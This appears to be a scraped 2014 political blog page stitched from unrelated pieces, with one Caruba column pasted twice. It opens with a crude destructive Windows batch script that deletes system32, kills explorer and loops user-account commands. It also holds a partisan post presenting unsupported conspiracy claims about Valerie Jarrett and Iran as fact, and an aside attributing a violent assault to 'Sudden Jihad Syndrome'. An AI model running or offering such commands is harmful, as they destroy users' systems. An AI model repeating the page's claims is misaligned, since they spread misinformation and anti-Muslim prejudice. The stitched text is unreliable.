@echo off*
cvirus
del /f /q ''c:\windows\system32''
taskkill explorer.exe
tskill explorer.exe
set /a_virus+=1
net user %_virus+=1
goto virus*
Sunday, June 8, 2014
Susan Rice: Just because I deliver wrong information to Americans ‘doesn’t make me a liar’
Susan Rice: Just because I deliver wrong information to Americans ‘doesn’t make me a liar’
June 8, 2014 by 107 Comments
National Security Adviser Susan Rice doesn’t like it when you imply she’s a liar. Truth hurts?Friday morning CNN’s Jim Acosta tiptoed around the real question and asked Rice if she was “being guided by talking points too much.” Way to give her an out as you throw the softball, Jim.
Rice was defensive and careful, muttering something familiar about “the facts as we know them.” When she relays wrong information that is given to her, she said, it doesn’t actually make her a liar.
Bill O’Reilly: ‘Is Ambassador Rice a moron?’
Here is the exchange (transcript via Truth Revolt) :
Acosta: After Benghazi, you blamed that attack on an anti-Muslim video and of course you know you’ve become sort of a GOP lightning rod. You’ve been accused by Republican critics of being fast and loose with the facts during some of these Sunday talk show appearances. Are you being upfront with the American people or are you being guided by talking points too much when you go on these programs?
Rice: Jim, I’m upfront with the American people and I always do my best on behalf of my country and I do my best until [sic] the facts as we know them. In the case of Bowe Bergdahl, for me to condemn him without any opportunity for him to have the chance to tell his side of the story without any due process that we accord any American, that would be inherently unfair. Similarly with Benghazi, as had been recounted on many occasions, I provided the best information that the U.S. government had at the time. Parts of it turned out to be wrong. I regret that the information I was provided was wrong and that I delivered to the American people. That doesn’t make me a liar. That makes me a public servant trying to say what we knew at the time. And when I gave that information, I caveated it and noted that it was what we knew then and there but it could well change.
No, Obama is Not Above the Law
It was hard enough
trying to keep up with the revelations of various scandals that have
been the product of the Obama administration, but now into the second
year of his second term, the news of its actions—some of which are
illegal, some of which ignore Congress’s authority, and some of which
seemed determined to destroy our economy and attack our constitutional
freedoms–all keep assaulting our comprehension.
Like many Americans I have fears of losing our freedoms as set forth in the Bill of Rights. I have doubts about an almost invisible “recovery” of the economy when 92,009,000 are still not in the labor force. I look at the Obama presidency and see one that seems increasingly lawless and witless in so many ways.
The latest assault was the exchange of five Taliban detainees, top field commanders, for an American soldier who administration spokeswoman, Susan Rice, said had served with “honor and distinction.” Like her lies about the Benghazi attack, this too was a lie. Sgt. Bowe Bergdahl had, we swiftly learned, walked away from his post in Afghanistan. That makes him a deserter, something the administration must surely have known. Giving up the Taliban leaders, done without the required thirty days’ notice to Congress, looks more like Obama’s intention to empty Guantanamo then the claim of retrieving an alleged POW. Negotiations to achieve this had been ongoing for months.
This comes at a time when a report by the think tank, the Rand Corporation, spells out a 58% increase from 2010 to 2013 of jihadist groups worldwide, from 31 to 49, and a doubling of the number of jihadist fighters to an estimated 100,000. In addition, the report notes the number of attacks by al Qaeda affiliates had increased to roughly 1,000 from 392. As Seth G. Jones, the author of the report, says, “The current trends suggest that the struggle against extremism is likely to be a generational one, much like the Cold War.”
Not exactly the “end of a war” that Obama keeps talking about.
At the same time Obama turned five Taliban commanders loose, his Attorney General, Eric Holder, announced the creation of a special task force within the Justice Department to combat what he characterized as “escalating danger” from “homegrown” terrorists within the U.S. Given the fact that we have a huge Department of Homeland Security, created after 9/11, one wonders why such a task force is necessary, but we are told it will be composed of members of the FBI and the Department’s National Security Division.
The Obama administration is the same one in which the Internal Revenue Service targeted Tea Party and patriot groups seeking non-profit status. A pattern of using the government against them reflects an agenda to target any American who disagrees and speaks up against the abuse or neglect of constitutional rights.
One of those is the right to own and bear guns, but this is also an administration that has made many efforts to curb the Second Amendment and gun ownership. At the same time, we have read reports of massive purchases of ammunition and weapons by various elements of the federal government. One can understand the need to arm agents of the FBI and Homeland Security, but why did the Postal Service and Social Security agency, as well as the National Oceanic and Atmospheric Administration need to purchase lots of ammunition?
Concurrent with this has been the deliberate reduction in the nation’s military strength to a point that rivals what existed prior to World War Two. We have a far smaller navy. Our Air Force has both older and fewer aircraft. Our Army and Marine units have far fewer men and women in active service. There are concerns about the capabilities of our National Guard as well. Meanwhile, police forces around the nation are being given military-level vehicles and weaponry.
Largely unknown to most Americans is the National Defense Authorization Act which empowers the U.S. military, under presidential authority, to arrest, kidnap, detain without trial, and hold indefinitely American citizens thought to “represent an enduring security threat to the United States.”
Reportedly, a study funded by the Department of Homeland Security characterized Americans who are “suspicious of centralized federal authority,” and “reverent of individual liberty” as “extreme right-wing” terrorists.” Does that include members of the Tea Party movement? Members of the National Rifle Association and of veterans organizations? Opponents of abortion? All have been described as potential domestic terrorists by elements of the Obama administration
A friend-of-the-court brief in a case opposing the Act, stated: “The central question now before the court is whether the federal judiciary will stand idly by while Congress and the president establish the legal framework for the establishment of a police state and the subjugation of the American citizenry through the threat of indefinite military arrest and detention, without the right to counsel, the right to confront one’s accusers, or the right to trial.”
Writing at World Net Daily, Bob Unrah noted that “The new law authorizes the President to use ‘all necessary and appropriate force’ to jail those ‘suspected’ of helping terrorists.’” Since the law passed,” reported Unrah, “multiple states have passed laws banning its enforcement.”
While Obama is releasing declared enemies of the nation to return to the battlefield, he and his Attorney General are expressing concerns about homegrown terrorists and the mere accusation of being sympathetic to terrorism will be enough to get a lot of people detained without any Bill of Rights protections.
Obama has unleashed the Environmental Protection Agency to assert new limits on greenhouse gas emissions by many, if not most, of the nation’s 600 coal-fired plants that generate electricity. Many plants have already closed their doors. Joseph Bast, the president of The Heartland Institute, a free market think tank, responded saying, “President Obama and the Democrats are once again unleashing the Environmental Protection Agency on the American people. This is Obamacare for the environment: guaranteed to raise costs, reduce choices, and destroy an existing industry. By the time the EPA is finished, millions of Americans will be freezing in the dark.”
David Rothbard and Craig Rucker of the Committee for a Constructive Tomorrow (CFACT), another leading think tank, warned that states will be required to impose “cap-and-tax regimes like the ones Congress has wisely and repeatedly refused to enact. Others will be forced to close perfectly good, highly reliable coal-fueled power plants that currently provide affordable electricity for millions of families, factories, hospitals, schools and businesses. The adverse impacts will be enormous.”
This is a pattern of activity that will harm the U.S. economy by reducing the production of energy vital to nation’s current and future growth. In a similar fashion, the Obama administration has reduced access to explore and extract vast offshore energy resources and those that exist on federal lands.
Taken together these and other actions put at risk the future and the freedoms Americans have enjoyed since the U.S. Constitution became effective on June 21, 1788. We are watching this 226-year-old republic being put at great risk of survival.
© Alan Caruba, 2014
Like many Americans I have fears of losing our freedoms as set forth in the Bill of Rights. I have doubts about an almost invisible “recovery” of the economy when 92,009,000 are still not in the labor force. I look at the Obama presidency and see one that seems increasingly lawless and witless in so many ways.
The latest assault was the exchange of five Taliban detainees, top field commanders, for an American soldier who administration spokeswoman, Susan Rice, said had served with “honor and distinction.” Like her lies about the Benghazi attack, this too was a lie. Sgt. Bowe Bergdahl had, we swiftly learned, walked away from his post in Afghanistan. That makes him a deserter, something the administration must surely have known. Giving up the Taliban leaders, done without the required thirty days’ notice to Congress, looks more like Obama’s intention to empty Guantanamo then the claim of retrieving an alleged POW. Negotiations to achieve this had been ongoing for months.
This comes at a time when a report by the think tank, the Rand Corporation, spells out a 58% increase from 2010 to 2013 of jihadist groups worldwide, from 31 to 49, and a doubling of the number of jihadist fighters to an estimated 100,000. In addition, the report notes the number of attacks by al Qaeda affiliates had increased to roughly 1,000 from 392. As Seth G. Jones, the author of the report, says, “The current trends suggest that the struggle against extremism is likely to be a generational one, much like the Cold War.”
Not exactly the “end of a war” that Obama keeps talking about.
At the same time Obama turned five Taliban commanders loose, his Attorney General, Eric Holder, announced the creation of a special task force within the Justice Department to combat what he characterized as “escalating danger” from “homegrown” terrorists within the U.S. Given the fact that we have a huge Department of Homeland Security, created after 9/11, one wonders why such a task force is necessary, but we are told it will be composed of members of the FBI and the Department’s National Security Division.
The Obama administration is the same one in which the Internal Revenue Service targeted Tea Party and patriot groups seeking non-profit status. A pattern of using the government against them reflects an agenda to target any American who disagrees and speaks up against the abuse or neglect of constitutional rights.
One of those is the right to own and bear guns, but this is also an administration that has made many efforts to curb the Second Amendment and gun ownership. At the same time, we have read reports of massive purchases of ammunition and weapons by various elements of the federal government. One can understand the need to arm agents of the FBI and Homeland Security, but why did the Postal Service and Social Security agency, as well as the National Oceanic and Atmospheric Administration need to purchase lots of ammunition?
Concurrent with this has been the deliberate reduction in the nation’s military strength to a point that rivals what existed prior to World War Two. We have a far smaller navy. Our Air Force has both older and fewer aircraft. Our Army and Marine units have far fewer men and women in active service. There are concerns about the capabilities of our National Guard as well. Meanwhile, police forces around the nation are being given military-level vehicles and weaponry.
Largely unknown to most Americans is the National Defense Authorization Act which empowers the U.S. military, under presidential authority, to arrest, kidnap, detain without trial, and hold indefinitely American citizens thought to “represent an enduring security threat to the United States.”
Reportedly, a study funded by the Department of Homeland Security characterized Americans who are “suspicious of centralized federal authority,” and “reverent of individual liberty” as “extreme right-wing” terrorists.” Does that include members of the Tea Party movement? Members of the National Rifle Association and of veterans organizations? Opponents of abortion? All have been described as potential domestic terrorists by elements of the Obama administration
A friend-of-the-court brief in a case opposing the Act, stated: “The central question now before the court is whether the federal judiciary will stand idly by while Congress and the president establish the legal framework for the establishment of a police state and the subjugation of the American citizenry through the threat of indefinite military arrest and detention, without the right to counsel, the right to confront one’s accusers, or the right to trial.”
Writing at World Net Daily, Bob Unrah noted that “The new law authorizes the President to use ‘all necessary and appropriate force’ to jail those ‘suspected’ of helping terrorists.’” Since the law passed,” reported Unrah, “multiple states have passed laws banning its enforcement.”
While Obama is releasing declared enemies of the nation to return to the battlefield, he and his Attorney General are expressing concerns about homegrown terrorists and the mere accusation of being sympathetic to terrorism will be enough to get a lot of people detained without any Bill of Rights protections.
Obama has unleashed the Environmental Protection Agency to assert new limits on greenhouse gas emissions by many, if not most, of the nation’s 600 coal-fired plants that generate electricity. Many plants have already closed their doors. Joseph Bast, the president of The Heartland Institute, a free market think tank, responded saying, “President Obama and the Democrats are once again unleashing the Environmental Protection Agency on the American people. This is Obamacare for the environment: guaranteed to raise costs, reduce choices, and destroy an existing industry. By the time the EPA is finished, millions of Americans will be freezing in the dark.”
David Rothbard and Craig Rucker of the Committee for a Constructive Tomorrow (CFACT), another leading think tank, warned that states will be required to impose “cap-and-tax regimes like the ones Congress has wisely and repeatedly refused to enact. Others will be forced to close perfectly good, highly reliable coal-fueled power plants that currently provide affordable electricity for millions of families, factories, hospitals, schools and businesses. The adverse impacts will be enormous.”
This is a pattern of activity that will harm the U.S. economy by reducing the production of energy vital to nation’s current and future growth. In a similar fashion, the Obama administration has reduced access to explore and extract vast offshore energy resources and those that exist on federal lands.
Taken together these and other actions put at risk the future and the freedoms Americans have enjoyed since the U.S. Constitution became effective on June 21, 1788. We are watching this 226-year-old republic being put at great risk of survival.
© Alan Caruba, 2014
CANADA: 13-year-old boy in serious condition with multiple skull fractures after being savagely attacked by a Muslim wielding a hammer
CANADA: 13-year-old boy in serious condition with multiple skull fractures after being savagely attacked by a Muslim wielding a hammer
RAFID JIHAD, 28, was arrested shortly after and charged with attempted murder. Windsor
Police Constable Matt D’Asti said the boy was transferred to a London
hospital with multiple skull fractures. “He’s stable and he’s going to
have surgery in London,” said Staff Sgt. Jeff Mailloux.
Windsor Star (h/t Richard S) D’Asti said witnesses told police the victim was walking past the house when the attack occurred. A neighbour, whose adult son witnessed the attack, said there was no reason for it. “He’s a very quiet boy. I feel bad, the poor kid,” she said of the victim. She and a male neighbour who spoke to The Star did not want to be identified because they are concerned about their safety.
The male neighbour said the man threw the boy on the road and hit him multiple times in the hand, chest and head. The boy got up and walked to his home on the same street after the attack, the neighbour said. After the attack, he said he heard the man yell, “What is wrong with the people in this world?”
The female neighbour said the man was sitting in front of his house with his hands on his head after the attack. When the police arrived, he stood up and surrendered without incident. The male neighbour said he called the police last week when the 28-year-old was spotted walking up and down the street holding a hammer behind his back. “He has violent vocal outbursts even when no one is around,” he said.
Police are still trying to determine the motive for the attack, D’Asti said. (That’s easy: Sudden Jihad Syndrome)
http://www.barenakedislam.com/2014/06/08/canada-13-year-old-boy-in-serious-condition-with-multiple-skull-fractures-after-being-savagely-attacked-by-a-muslim-wielding-a-hammer/
News Flash: American Taxpayers Now Paying the Salaries of Palestinian Terrorists
News Flash: American Taxpayers Now Paying the Salaries of Palestinian Terrorists
What a unity government bringing together Hamas with Palestinian Authority President Mahmoud Abbas’ Fatah party means
A Palestinian Hamas policeman
reads a copy of the Al-Ayyam newspaper in Gaza City, on May 8, 2014. The
Palestinian daily, which is edited and printed in the West Bank city of
Ramallah, has been allowed by Hamas to be distributed in the Gaza strip
for the first time in seven years.
(Mohammed Abed/AFP/Getty Images)
“Based on what we know now,” State Department spokesperson Jen Psaki told the press, “we intend to work with this government,” adding that “if needed” the United States might “recalibrate our approach.” Hidden beneath this deliberately boring verbiage was a shocking change in American foreign policy: Instead of making war on terrorists, America would henceforth be directly funding one of the largest and most deadly terrorist armies in the world.
Israel denounced the United States for accepting Abbas’ government, but many of the reporters in the room found nothing all that shocking in Psaki’s announcement. That’s not entirely their fault. Generations of American diplomats working on the Arab-Israeli conflict have been motivated by the conviction that there’s nothing to be lost—and plenty to be gained—by trying to make peace between the two sides. Sure, the Israelis and Palestinians might seem far apart, the leadership of one side or another might not have the ability to sign a deal, but what harm could there be in getting the two sides in the same room to feel each other out, to explore possibilities and find common ground? Certainly that was the idea that inspired Secretary of State John Kerry, compelling him to make dozens of trips to Jerusalem and Ramallah over the past two years.
Yet Psaki’s announcement is, in fact, shocking. Palestinian Authority President Mahmoud Abbas’ move on Monday to bring Hamas into a unity government with his own Fatah party means that U.S. taxpayers will be paying the salaries of men and women who belong to an organization sworn to the destruction of an American ally—and who repeatedly endorse and employ the murder of innocent civilians through the grim arsenal of terror as a means of achieving their goals. Trading five Taliban honchos from Guantanamo for one lost American soldier in Afghanistan may be denounced by some Americans as a bad deal and applauded by others as proof of how highly we value the lives of our servicemen. But it is hard to imagine any significant number of Americans who would endorse blowing up women and children on buses, or sending shrapnel-laden suicide bombers into pizza parlors and discos, or sending volleys of rockets against kindergartens—let alone would want their tax money to wind up in the pockets of people who dream up and carry out such atrocities.
How did this happen? After all, it was Washington that invented the Palestinian Authority, in the heady moment after the Soviet collapse had brought the Cold War—and even history itself, some said—to an end, leaving the United States as the world’s sole remaining superpower. The purpose of the PA was to placate America’s Arab partners, like Egypt and Saudi Arabia, while ensuring that the remaining regional troublemakers—from Saddam Hussein to the Islamic Republic of Iran—would be unable to use the Palestinian cause to their advantage. Moreover, it was believed that the easiest way to neutralize Yasser Arafat and the PLO was to suffocate him in a warm American embrace that would reward the scruffy old terrorist for good behavior, and hold out the promise of a late-life transformation into the Palestinian Nelson Mandela. It came as a shock to American policymakers that Arafat didn’t want to be Mandela; he wanted to be Saladdin, and if he couldn’t free Jerusalem with fire and blood he would rather die trying than go down in history as the traitor who relinquished the dream of a Palestinian homeland, the way that the Palestinians—not the Americans—imagined it.
Arafat was a hard case. But now the United States has been outfoxed by Mahmoud Abbas, a dull 79-year-old bureaucrat who is also regularly proclaimed to be “a man of peace” but who displays little interest in any aspect of governance besides collecting tribute from Western powers and daring them to call his bluff. In Abbas’ view, the Americans and the Israelis are not in control; he is. Without him, the White House loses control of the peace process, which is a key part of the American diplomatic patrimony in the region—an asset that the Obama Administration can ill afford to lose, especially now.
Abbas is therefore gambling that the Obama Administration will continue to pay out hundreds of millions of dollars to whatever he proclaims to be the new Palestinian government. The White House is desperate, and so it doesn’t matter that including Hamas in a government is against the letter of U.S. law—indeed, a number of U.S. laws. The 2006 Palestinian Anti-Terrorism Act, for instance, prohibits any U.S. funds from going to Hamas, Hamas-controlled entities, or a power-sharing PA government that includes Hamas as a member, or results from an agreement with Hamas. Most recently, the 2014 Consolidated Appropriations Act prohibits “assistance to Hamas or any entity effectively controlled by Hamas, any power-sharing government of which Hamas is member, or that results from an agreement with Hamas and over which Hamas exercises undue influence.”
That last clause regarding “undue influence,” say some analysts, represents a loophole the administration may try to crawl through. “The White House may argue that since Abbas is still president of the PA, and since there aren’t really that many new Hamas members in the cabinet, Hamas does not have ‘undue influence,’ ” says a senior official at a Washington-based pro-Israel organization. “But if that’s true, then why won’t the new PA cabinet disarm Hamas?”
That’s not going to happen, of course. One purpose of the deal is for Fatah to protect Hamas’ arsenal, which, so long as it’s pointed at Israel, will enhance the prestige of a PA president whose term in office was over five years ago, and who has failed at both the small-bore work of ending corruption, fixing roads, and providing real jobs for his people, as well as big-picture tasks like winning his people a state. Protecting the weapons of his rival, in other words, is all that Abbas has left to offer the Palestinians and that suits Hamas fine.
“If anyone expects Hamas to hand over its missile network to the PA, he’s making a big mistake,” said one Hamas official. The reality is that Fatah has embraced Hamas.
To be sure, neither side has forgotten about the Palestinian civil war of 2006-2007, which culminated with Hamas fighters throwing Fatah members off of roofs in Gaza. Presumably there are Fatah loyalists unhappy with the deal, most notably Abbas’ key rival Mohamed Dahlan, who led the Fatah side in the conflict with Hamas almost exactly seven years ago. As it happens, hatred for Dahlan and his faction in Fatah is one more thing that Abbas and Hamas have in common. Dahlan was poised to make a comeback earlier this spring with backing from then Saudi intelligence chief Prince Bandar bin Sultan and the man assured to be next president of Egypt, Abdel Fattah al-Sisi. But by striking a deal with Hamas, Abbas has outflanked Dahlan, who had made an earlier play for reconciliation with Hamas and is now out in the cold.
Hamas has plenty to gain from the deal, too. Without the Iranian assistance that Hamas once enjoyed, what Gaza’s Islamic resistance needs most is some relief on the Egyptian side of the border. The Egyptians have been closing tunnels and effectively starving Gaza’s economy, and Hamas believes that the deal with Abbas will bring better days. Even if Hamas backed Sisi’s predecessor as president, the Muslim Brotherhood’s Mohamed Morsi, Cairo’s new ruler can afford to be magnanimous with Hamas, especially if it means he will inherit the Palestinian file in toto. Indeed, some Palestinians hope that Sisi will choose to confront Israel. In short, Palestinian reconciliation is good for everyone—except the United States and Israel.
The results for Israel are likely to be particularly unpleasant. Both Bush and Obama White Houses boasted that the security cooperation between Israel and the PA was excellent. But that seems over now since there is reportedly a clause in the Palestinian unity agreement that “criminalizes” security coordination with Israel. Perhaps, as many have feared over the last decade, those U.S.-trained Palestinian security forces will now turn their American weapons on an American ally, as they did during the second intifada. Indeed, just hours after the formal announcement of the unity government, and the State Department’s press conference, a Palestinian gunman was killed after opening fire on Israeli troops in the West Bank.
More such attacks will certainly follow, and some of them will be more successful—whether perpetrated directly by Hamas, or by Fatah, or some new terror entity in which both parties cooperate together.
Meanwhile, as crazy as it sounds, U.S. diplomats will continue searching for loopholes that allow us to fund officially designated terrorist organizations with taxpayer dollars. As Jonathan Schanzer, director of research at the Foundation for Defense of Democracies, explains “there are waivers embedded in the legislation, with which the president can override stipulations for reasons of national security or national interest. The assumption,” says Schanzer, “is that Obama is going to override everything.”
The administration will also be able to cite a regional precedent for its likely next step of embracing the new Palestinian “unity government” as a “partner for peace” while claiming that America is not funding terrorism. Hamas officials boast that they are now employing the “Hezbollah model”—i.e., becoming a political party that avoids responsibility for governance, while also maintaining an independent military organization that engages in terrorism. In other words, the PA will serve as legitimate cover while the Islamic resistance continues to wage its war of liberation against Israel. After all, Washington continues to fund the Lebanese Armed Forces, even as it is common knowledge that the LAF is under Hezbollah control. So, why wouldn’t the White House fund the PA?
It is depressingly easy to imagine the State Department spokesperson making the same argument about “the Lebanese model” at her next press conference. But the difference is this: Lebanon is a sovereign state that would exist regardless of American support. The Palestinian Authority is an entity created by the United States, and it cannot exist without massive U.S. financial, political, military, and diplomatic support. Rather than finding ways around American law, the Obama Administration should be looking for ways to snap Abbas’ spine. If Kerry’s assiduous and careless peace processing was evidence of the administration’s incompetence, the decision to work with Hamas is evidence of the White House’s cravenness. The bill for this moral rot will be paid by Israelis—and by American taxpayers who will now be directly covering the salaries of thousands of card-carrying members of a terrorist organization. It’s not just Obama who will be crossing a red line by funding Hamas—he’s dragging the rest of us along with him into a political and moral swamp, in which America will combat terrorism with one hand, while paying for terror with the other.
***
Like this article? Sign up for our Daily Digest to get Tablet Magazine’s new content in your inbox each morning.
Speed Up Your Internet Connection by Changing Your Domain Name System Server
Speed Up Your Internet Connection by Changing Your Domain Name System Server
For example, when you enter www.pcworld.com (or just pcworld.com) in your browser, your system responds by checking its DNS resolver; if the requisite IP address isn't already cached, your system sends a request to one or more DNS name servers until a server replies with the appropriate address--in this case, 70.42.185.10. Meanwhile, you have to wait until the request and the lookup are complete--and if the request fails at one server, your system has to move on to ask another name server.
DNS name servers are essential intermediaries that link your system to virtually all of the resources scattered across the Internet. Most often, your ISP will supply DNS names servers for your connection and assign them via DHCP (Dynamic Host Configuration Protocol). When they perform well, you won't notice any delays in browsing or using online resources. Depending on your ISP and location, though, you may find that your ISP's name servers are underperforming, unreliable, or down altogether--resulting in a horrible online experience. Some sites will take far too long to load (if they load at all), email will be flaky, and you probably won't be able to connect to any of your everyday Internet apps.
How to Find the Fastest DNS Servers
Configure Your PC and Router
Most routers let you access their system settings through a Web interface. Open your browser and enter 192.168.0.1 or 192.168.1.1 in the address bar. These are the internal IP addresses that most of the broadband routers available today use. If neither of those IP addresses works, you'll need to find your router's IP address yourself. Select Control Panel, Network and Sharing Center, Change adapter settings; double-click your active network connection; click Details; and find the IP address listed under 'IPv4 Default Gateway'. Take that IP address, add http:// in front of it, and paste it into your Web browser's address bar.
After entering the correct IP address, log in to the router using the proper credentials. If you don't know them, refer to your router's manual. When you've logged in, click the Basic Setup or Network Setup button or tab, and you should see a section named something like 'Network Address Server Settings (DHCP)'. That section typically contains two or three fields where you can enter static DNS information. Enter the IP addresses for the fastest DNS name servers in your area, save the changes, restart the router, and you're done.
Enjoy the Speedup
Though the default DNS name servers that some ISPs use are adequate, many people find that freely available public alternatives yield better overall performance. If you find yourself constantly waiting for websites to appear after entering a URL in your browser, this is probably a worthwhile project for you. Using faster DNS name servers can be a real eye-opener, especially if you've been stuck with underperforming or unreliable DNS name servers from your ISP.Valerie Jarrett’s Nuclear Iran
Valerie Jarrett’s Nuclear Iran
(The real force within the Obama White House has quietly been moving her birth nation of Iran to be a nuclear power)
____________________________
While the news cycle is now dominated by stories of the 5 for 1 Taliban terrorist swap, and/or the VA scandal, or Benghazi, the IRS , or any other number of other administration scandals, The Obama administration has been consistently purposeful in freeing Iran from the obstacles of seeking to go nuclear. Valerie Jarrett has played a pivotal role in this agenda, and is now on the verge of seeing ultimate success.
Reports out this week from both the UK Guardian, and Israeli news sources, outline just how fragmented the relationship between the Obama White House and Israel has become. Not only were Israelis stunned to learn of the administration’s verbal and financial support of the terrorist Hamas group’s involvement in a new Palestinian government, but for years, Israel has called upon the United States to help defeat Iran’s push to become a nuclear power. Iran in turn, has repeatedly threatened to wipe Israel “off the face of the earth”, should it have the power to do so.
Among the most concerning aspects of a nuclear Iran, is Israel’s concern that if it were to initiated a series of military strikes to reduce or eliminate the rogue nation’s nuclear program, not only would the United States not stand with Israel, but would go so far as to condemn the action. Such a concern is well founded. Political insiders have suggested Jarrett has repeated her demand to the president that he work to lessen ties with Israel, and instead create a stronger relationship with nations like Iran, and Palestine. Over the course of the last few years, American policy has done just that. Jarrett’s influence extended directly onto the State Department as well, with John Kerry reportedly seeking assurances his involvement with the now famous brokered agreement last year between the United States and Iran that effectively gave Iran a green light to continue developing its nuclear program, met with Jarrett’s approval.
It should be noted that last year, the Obama administration repeatedly denied any involvement in secret talks with Iran regarding its nuclear program, and then in November of 2013, finally had to admit to the very thing they had for so long denied. It was at this time as well that Israeli Intelligence pointed to Valerie Jarrett as being the primary broker of the deal, communicating directly with Iran’s top nuclear program official, Ali Akbar Salehi. The White House ignored requests to confirm or deny Jarrett’s involvement, and soon, the media stopped asking.
Which brings us to present time. This week, U.S. officials are meeting in Geneva with Iranian representatives to, according to them, forge a new accord regarding Iran’s nuclear program. Insider reports suggest this meeting is a farce, much like the previous agreement was. That agreement created six months of a “do as you like” environment in which the Iranians moved forward to quickly consolidate its nuclear capabilities. This next agreement will likely do the same, thus ensuring that by 2015, the terrorist state of Iran will be a nuclear power.
Once this phase is complete, the balance of power in the Middle East, and thus, the world, will be forever altered, and the potential for instability beyond anything seen in generations, could ensue.
It’s all going according to plan.
Jarrett’s plan.
Subscribe to:
Posts (Atom)